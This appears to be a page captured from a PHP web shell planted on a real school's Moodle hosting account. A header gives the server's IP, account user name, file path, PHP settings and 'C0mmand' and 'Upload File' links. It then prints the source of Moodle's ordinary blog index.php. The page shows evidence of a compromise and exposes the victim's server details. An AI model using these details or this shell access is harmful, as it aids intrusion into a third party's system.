Server IP : 68.65.122.142 / Your IP : 18.188.102.117 Web Server : LiteSpeed System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : glenirhm ( 1318) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/glenirhm/lms.myglenbow.ca/old/blog/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * file index.php * index page to view blogs. if no blog is specified then site wide entries are shown * if a blog id is specified then the latest entries from that blog are shown */ require_once(__DIR__ . '/../config.php'); require_once($CFG->dirroot .'/blog/lib.php'); require_once($CFG->dirroot .'/blog/locallib.php'); require_once($CFG->dirroot .'/course/lib.php'); require_once($CFG->dirroot .'/comment/lib.php'); $id = optional_param('id', null, PARAM_INT); $start = optional_param('formstart', 0, PARAM_INT); $tag = optional_param('tag', '', PARAM_NOTAGS); $userid = optional_param('userid', null, PARAM_INT); $tagid = optional_param('tagid', null, PARAM_INT); $modid = optional_param('modid', null, PARAM_INT); $entryid = optional_param('entryid', null, PARAM_INT); $groupid = optional_param('groupid', null, PARAM_INT); $courseid = optional_param('courseid', null, PARAM_INT); $search = optional_param('search', null, PARAM_RAW); comment::init(); $urlparams = compact('id', 'start', 'tag', 'userid', 'tagid', 'modid', 'entryid', 'groupid', 'courseid', 'search'); foreach ($urlparams as $var => $val) { if (empty($val)) { unset($urlparams[$var]); } } $PAGE->set_url('/blog/index.php', $urlparams); // Correct tagid if a text tag is provided as a param. if (!empty($tag)) { if ($tagrec = $DB->get_record('tag', array('name' => $tag))) { $tagid = $tagrec->id; } else { unset($tagid); } } // Set the userid to the entry author if we have the entry ID. if ($entryid and !isset($userid)) { $entry = new blog_entry($entryid); $userid = $entry->userid; } if (isset($userid) && empty($courseid) && empty($modid)) { $context = context_user::instance($userid); } else if (!empty($courseid) && $courseid != SITEID) { $context = context_course::instance($courseid); } else { $context = context_system::instance(); } $PAGE->set_context($context); if (isset($userid) && $USER->id == $userid && !$PAGE->has_secondary_navigation()) { $blognode = $PAGE->navigation->find('siteblog', null); if ($blognode) { $blognode->make_inactive(); } } // Check basic permissions. if ($CFG->bloglevel == BLOG_GLOBAL_LEVEL) { // Everybody can see anything - no login required unless site is locked down using forcelogin. if ($CFG->forcelogin) { require_login(); } } else if ($CFG->bloglevel == BLOG_SITE_LEVEL) { // Users must log in and can not be guests. require_login(); if (isguestuser()) { // They must have entered the url manually. print_error('noguest'); } } else if ($CFG->bloglevel == BLOG_USER_LEVEL) { // Users can see own blogs only! with the exception of people with special cap. require_login(); } else { // Weird! print_error('blogdisable', 'blog'); } if (empty($CFG->enableblogs)) { print_error('blogdisable', 'blog'); } list($courseid, $userid) = blog_validate_access($courseid, $modid, $groupid, $entryid, $userid); $courseid = (empty($courseid)) ? SITEID : $courseid; if ($courseid != SITEID) { $course = get_course($courseid); require_login($course); } if (!empty($userid)) { $user = core_user::get_user($userid, '*', MUST_EXIST); $PAGE->navigation->extend_for_user($user); } $blogheaders = blog_get_headers(); $rsscontext = null; $filtertype = null; $thingid = null; $rsstitle = ''; if ($CFG->enablerssfeeds) { list($thingid, $rsscontext, $filtertype) = blog_rss_get_params($blogheaders['filters']); if (empty($rsscontext)) { $rsscontext = context_system::instance(); } $rsstitle = $blogheaders['heading']; // Check we haven't started output by outputting an error message. if ($PAGE->state == moodle_page::STATE_BEFORE_HEADER) { blog_rss_add_http_header($rsscontext, $rsstitle, $filtertype, $thingid, $tagid); } } $usernode = $PAGE->navigation->find('user'.$userid, null); if ($usernode && $courseid != SITEID) { $courseblogsnode = $PAGE->navigation->find('courseblogs', null); if ($courseblogsnode) { $courseblogsnode->remove(); } $blogurl = new moodle_url($PAGE->url); $blognode = $usernode->add(get_string('blogscourse', 'blog'), $blogurl); $blognode->make_active(); } if ($courseid != SITEID) { $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); if (!empty($user)) { $backurl = new moodle_url('/user/view.php', ['id' => $user->id, 'course' => $courseid]); echo $OUTPUT->single_button($backurl, get_string('back'), 'get', ['class' => 'mb-3']); $headerinfo = array('heading' => fullname($user), 'user' => $user); echo $OUTPUT->context_header($headerinfo, 2); } } else if (isset($userid)) { $PAGE->set_heading(fullname($user)); echo $OUTPUT->header(); } else if ($courseid == SITEID) { echo $OUTPUT->header(); } echo $OUTPUT->heading($blogheaders['heading'], 2); $bloglisting = new blog_listing($blogheaders['filters']); $bloglisting->print_entries(); if ($CFG->enablerssfeeds) { blog_rss_print_link($rsscontext, $filtertype, $thingid, $tagid, get_string('rssfeed', 'blog')); } echo $OUTPUT->footer(); $eventparams = array( 'other' => array('entryid' => $entryid, 'tagid' => $tagid, 'userid' => $userid, 'modid' => $modid, 'groupid' => $groupid, 'search' => $search, 'fromstart' => $start) ); if (!empty($userid)) { $eventparams['relateduserid'] = $userid; } $eventparams['other']['courseid'] = ($courseid === SITEID) ? 0 : $courseid; $event = \core\event\blog_entries_viewed::create($eventparams); $event->trigger();